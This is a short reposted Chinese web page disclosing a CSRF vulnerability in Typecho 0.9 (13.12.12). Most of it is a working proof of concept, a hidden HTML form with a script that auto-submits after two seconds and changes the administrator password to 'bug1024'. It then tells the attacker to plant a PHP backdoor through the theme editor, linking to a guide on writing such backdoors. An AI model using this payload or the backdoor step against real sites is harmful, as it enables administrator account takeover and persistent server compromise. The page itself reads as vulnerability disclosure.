Typecho 0.9(13.12.12) CSRF修改管理员密码漏洞脚本安全 -电脑资料

电脑资料时间：2019-01-01 我要投稿

【www.unjs.com - 电脑资料】

[*] 1. Description http://typecho/admin/profile.php page, Change password form. CSRF vul. http://typecho/admin/themes.php, We can write the PHP Backdoor in this page. [*] 2. CSRF POC <form. action="http://typecho/index.php/action/users-profile" method="post" name="ff0000team" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="password" value="bug1024"/> <input type="hidden" name="confirm" value="bug1024" /> <input name="do" type="hidden" value="password" /> <button type="submit"></button> </form. <script. setTimeout("document.ff0000team.submit()", 2000); </script. [*] 3. GETSHELL http://typecho/admin/theme-editor.php page, Write backdoor. Or, Write this: http://www.myhack58.com/post/PHP中使用按位取反函数创建后门.html

相关文章